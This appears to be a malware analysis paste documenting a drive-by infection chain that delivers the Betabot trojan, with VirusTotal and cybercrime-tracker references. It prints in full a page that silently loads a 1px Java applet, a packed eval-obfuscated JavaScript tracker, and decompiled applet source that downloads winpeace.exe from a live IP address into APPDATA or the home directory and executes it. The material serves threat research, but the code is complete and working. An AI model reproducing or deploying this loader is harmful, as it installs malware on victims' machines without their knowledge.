Malicious java leading on Betabot

index.html:
<html>
<head>
<title>Welcome</title>
<script language="javascript" src="6JVia9.js"></script>
<applet width='1px' height='1px' code='Java.class' archive='Java.jar' name='ATG-Security'></applet>
</head>
<body>

</body>
</html>

==============================================================================

6JVia9.js:
https://www.virustotal.com/en/file/99225bbbb0b83fc3523b6a2c72ef239d24520311802434346fc6d550b5e45a03/analysis/1397995795/

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+String.fromCharCode(c%a+161)};while(c--){if(k[c]){p=p.replace(new RegExp(e(c),'g'),k[c])}}return p}('і((p,a,c,k,e,d){ґ(c--){«(k[c]){p=p.Є(© ¬(\'\\\\b\'+c+\'\\\\b\',\'g\'),k[c])}}± p}(\'З(¶(Ґ,Ў,ў,¦,¤,Ё){¤=¶(ў){µ(ў<Ў?\\\'\\\':¤(К(ў/Ў)))+((ў=ў%Ў)>В?ё.»(ў+А):ў.О(Ю))};Э(ў--){Ь(¦[ў]){Ґ=Ґ.Я(а д(\\\'\\\\\\\\Ј\\\'+¤(ў)+\\\'\\\\\\\\Ј\\\',\\\'§\\\'),¦[ў])}}µ Ґ}(\\\'ў Ї="б";ў §="Щ.Ш-Х.е";ў Ў=["Ц","Ч","Ґ","Ф://","/У/П=Р.С.Т?¤=0&¦=","&Ъ=","г","Ы","¤","Н/Ѕ","ј","ѕ","ї"];Ј=Ё[Ў[1]](Ў[0]);Ј[Ў[2]]=Ў[3]+§+Ў[4]+Ї+Ў[5]+є(·[Ў[7]][Ў[6]]);Ј[Ў[8]]=Ў[9];Ё[Ў[№]](Ў[Б])[0][Ў[Й]](Ј);\\\',І,І,\\\'||||||||||Л|М|И|Г|Д|Е||Ж|в||ўВ|ўЇ|ў®|ў°|ў±|ж|ўІ|ў|ў¬|ў§|ў¦|ўЁ|ў©|ў«|ўЄ|ўі|ўґ|ўѕ|ўЅ|ўї|ўА|ўБ|ўј|ў»|®\\\'.ў¶(\\\'|\\\')))\',®,ўµ,\'|||||||||||||a|c|e|b|p|k|g|d|±||j|l|o|f|h|ў·||n|A|G|°|H|||і|B|i|x|m|¬|t|s||©|Є|ўё|ґ|«|r|q|D|w|z|y|v|u|ўє|ў№|C|ўҐ|ў¤|р|п|с|т|у|о|н|и|з|й|к|м|л|ф|х|я|ю|ўЎ|ўў|ўЈ|I|э|E|F|ь|ч|ц|ш|щ|ы|ъ\'.°(\'|\')))',95,129,'13|14|16|15|17|18|19|20|new|replace|if|RegExp|function|10|23|split|return|45|eval|while|21|22|53|59|86|61|60|31|38|34|32|29|87|35|94|93|92|91|37|90|84|28|85|89|40|48|41|39|27|26|55|54|52|57|56|51|44|30|24|50|49|36|47|46|43|88|25|42|58|67|http|script|encodeURIComponent|window|head|getElementsByTagName|href|website|net|changeme|tracker|src|location|javascript|appendChild|var|scriptNode|js|php|document|type|getip|_0|createElement|text|wtf|username|callback|www|super|65|64|71|72|80|79|63|62|83|68|69|70|66|81|78|95|33|parseInt|toString|fromCharCode|String|76|75|73|77|74|12|11|82'.split('|')))

==============================================================================

java.jar:
https://www.virustotal.com/en/file/f0bbaadeb7eafe655ff06137de9324f97a71de24a4461458f4f3be97f9f564e6/analysis/1397995393/

import java.applet.Applet;
import java.applet.AppletContext;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.util.Random;

public class Java extends Applet
{
  public static String Author = "Created by Foxxy Software. | foxxysoftware.in";

  public static int LKC(int paramInt) {
    return paramInt - paramInt;
  }

  public void IKD(AppletContext paramAppletContext) {
    try {
      paramAppletContext.showDocument(new URL(""), "");
      System.exit(LKC(Integer.parseInt("3")));
    } catch (IOException localIOException) {
      System.exit(LKC(Integer.parseInt("3")));
    }
  }

  public void init() {
    String[] arrayOfString1 = { "r-i-d" + "p-m-t".concat(".-o-i").concat(new StringBuilder().append(".-a-L".replace("L", "")).append("v-a-j").toString()), "A-T-A".concat("D-P-P") + "A-F-L".replace("F", "").replace("L", ""), "e-m-o" + "h-.-r".concat("e-s-u"), null, null, null, "23" };
    String[] arrayOfString2 = { String.valueOf(false), "", ".exe" };

    for (int i = LKC(Integer.parseInt("3")); i < 2; i++) {
      arrayOfString1[i] = new StringBuilder(arrayOfString1[i].replaceAll("-", "")).reverse().toString();

      if (arrayOfString1[i].toLowerCase().contains("app"))
        arrayOfString1[Integer.parseInt("3")] = System.getenv(arrayOfString1[i]);
      else {
        arrayOfString1[Integer.parseInt("3")] = System.getProperty(arrayOfString1[i]);
      }

      if ((arrayOfString1[Integer.parseInt("3")] != null) && (new File(arrayOfString1[Integer.parseInt("3")]).exists()) && (new File(arrayOfString1[Integer.parseInt("3")]).canWrite()) && (new File(arrayOfString1[Integer.parseInt("3")]).isDirectory())) {
        arrayOfString1[Integer.parseInt("3")] = arrayOfString1[Integer.parseInt("3")].replace("\\", "/");
        if (!arrayOfString1[Integer.parseInt("3")].endsWith("/")) {
          arrayOfString1[Integer.parseInt("3")] = arrayOfString1[Integer.parseInt("3")].concat("/");
        }
        arrayOfString1[Integer.parseInt("3")] = arrayOfString1[Integer.parseInt("3")].concat(Long.toString(Math.abs(new Random().nextLong()), Integer.parseInt(arrayOfString1[(Integer.parseInt("3") + Integer.parseInt("3"))])).replaceAll("[0-9]", "") + arrayOfString2[(Integer.parseInt("3") - 1)]);
        break;
      }
    }
    try
    {
      FileOutputStream localFileOutputStream = new FileOutputStream(arrayOfString1[Integer.parseInt("3")]);
      localFileOutputStream.getChannel().transferFrom(Channels.newChannel(new URL("http://193.107.17.11/winpeace.exe").openStream()), LKC(Integer.parseInt("3")), 9223372036854775807L);
      localFileOutputStream.close();

      Runtime.getRuntime().exec(arrayOfString2[(Integer.parseInt("3") - 2)] + arrayOfString1[Integer.parseInt("3")]);

      if (arrayOfString2[0] == String.valueOf(true)) {
        IKD(getAppletContext());
      }

      System.exit(LKC(Integer.parseInt("3")));
    } catch (IOException localIOException) {
      System.exit(LKC(Integer.parseInt("3")));
    }
  }
}

==============================================================================

http://193.107.17.11/winpeace.exe <- Betabot
http://cybercrime-tracker.net/index.php?search=notchangeme.su
--> http://3.bp.blogspot.com/-1xuhhlJ87hE/U1KWeSJ74sI/AAAAAAAAlrs/oMs2iaIqK2Y/s1600/19-04-2014+17-28-54.png